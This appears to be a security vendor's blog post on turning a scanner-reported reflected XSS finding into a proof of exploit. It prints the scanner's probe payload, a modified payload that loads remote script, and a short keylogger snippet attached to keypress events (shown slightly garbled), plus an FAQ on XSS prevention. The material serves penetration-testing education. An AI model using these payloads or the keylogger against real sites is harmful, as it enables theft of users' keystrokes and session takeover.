Analyzing web application vulnerabilities discovered by an automated scanner such as Acunetix often requires us to investigate further. This is in order to:

  • Verify the vulnerability exists in the context of the application.
  • Adjust the vulnerability payload reported by the scanner to something more invasive (i.e. keylogger) in order to make the severity of the problem more concrete to stakeholders.

This process would not only apply to Cross-site Scripting vulnerabilities, but all vulnerabilities. This is because automated scanners aim to detect a vulnerability and not exploit it.

In this post, we will be taking a deeper look at how to analyze a Cross-site Scripting alert from a scanner, into something more concrete.


We run a scan against one of our testing sites, which is open to everyone in the public to run tests against. During the scan, we notice a high severity Cross-site Scripting vulnerability being reported against

how to verify XSS

The vulnerability is quite simple. It’s a GET request with a vulnerable parameter named “article”. If we take a closer look at the Acunetix payload, it’s evident that the payload itself does nothing:

1'"()&%<acx><ScRiPt >vf8S(9896)</ScRiPt>

So how does Acunetix know that it is vulnerable to Cross-site Scripting? In this particular case, it is checking whether it can inject any HTML payload inside of the page, and verifies if it was reflected in the response:

<strong>1'"()&%<acx><ScRiPt >vf8S(9896)</ScRiPt></strong></td>

The <acx> tag is there to make it easier for us to find the payload in a large page. There is a lot more we can work on, now that we have this information.


There are many different ways to escalate a Cross-site Scripting vulnerability and each one will depend on the web application and the context that the vulnerability is in.

For this example, we will be changing our payload to inject a <script> tag pointing to our malicious JavaScript hosted online using ngrok. Ngrok is a very powerful tool for developers and pentesters to quickly have local environments accessible online with a valid HTTPS certificate.

The malicious JavaScript that we are hosting, will just throw an alert with the vulnerable domain to confirm it works.


The payload will now look as follows:

1'"()%26%25<acx><ScRiPt src=""></ScRiPt>

When inputting that in our URL, we can see that it works:

XSS vulnerability

Now that we know that the injection works, all we need to do is keep updating our malicious JavaScript hosted locally to do whatever we please. A good example would be a keylogger to see all the key inputs that the user presses. In a real-world scenario, you would have this data exported to a remote malicious server via DNS (similar to how AcuMonitor works).

The malicious JavaScript changed from the simple alert to attaching itself to all keypress events on the page, while logging their values to the console, as follows:

document.onkeypress = function(e) {console.log("Keylogger: " +};

When refreshing the page, the payload reloads and when typing anything, we can see the information being displayed in the browser console!

preventing XSS

This verifies that the the malicious URL can be sent to anyone to click, which in turn will cause the user to be hacked. This paired with a spear-phishing attack could allow an attacker to easily take over high profile targets.


With the above example, we can now go from a theoretical Cross-site Scripting vulnerability, to a concrete Proof of Exploit to report to all stakeholders. This is something more tangible and makes the severity of the vulnerability far more realistic.

The power and utility of automated web application security scanners such as Acunetix should be quite evident in this article. Such tools are a very time-efficient way to find entrypoint vulnerabilities in applications, allowing us to focus on the actual exploitation of such vulnerabilities.

Acunetix can help not only with Cross-site Scripting, but thousands of other vulnerabilities too.

Frequently asked questions

Cross-site Scripting (XSS) vulnerabilities are programmer errors that let an attacker inject script code into a website or web application. This script is then executed in the web browser for malicious purposes.

Learn more about Cross-site Scripting (XSS) vulnerabilities.

There are three types of Cross-site Scripting (XSS) vulnerabilities: stored XSS (also called persistent XSS), reflected XSS (non-persistent), and DOM-based XSS. All three types are dangerous and all three types are efficiently discovered by the Acunetix web vulnerability scanner.

Learn more about stored, reflected, and DOM-based XSS.

Cross-site Scripting (XSS) is regarded as one of the most serious vulnerabilities. In combination with social engineering, it leads to advanced attacks such as cookie theft, planting trojans, keylogging, phishing, and identity theft.

Read more about potential consequences of XSS attacks.

Preventing Cross-site Scripting (XSS) is not easy. To be successful, it is recommended that you employ a combination of escaping and sanitization techniques. You must use different techniques for different fragments of website code, depending on the programming language.

Learn the basics of preventing XSS attacks.

Acunetix employs several techniques to find and verify XSS vulnerabilities. Unlike most other web vulnerability scanners, it can discover DOM-based XSS and blind XSS. In the case of blind XSS, Acunetix uses a special engine called AcuMonitor, which was designed to discover various out-of-band vulnerabilities.

Learn how AcuMonitor lets you discover out-of-band XSS vulnerabilities.


Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.